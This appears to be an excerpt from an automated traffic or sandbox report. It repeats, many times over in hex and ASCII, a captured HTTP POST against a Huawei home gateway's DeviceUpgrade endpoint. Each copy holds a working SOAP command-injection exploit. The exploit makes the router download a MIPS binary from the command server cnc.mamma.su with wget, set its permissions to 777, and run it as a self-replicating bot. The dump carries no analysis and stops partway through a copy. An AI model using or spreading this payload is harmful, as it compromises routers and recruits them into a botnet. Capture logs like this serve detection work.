73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 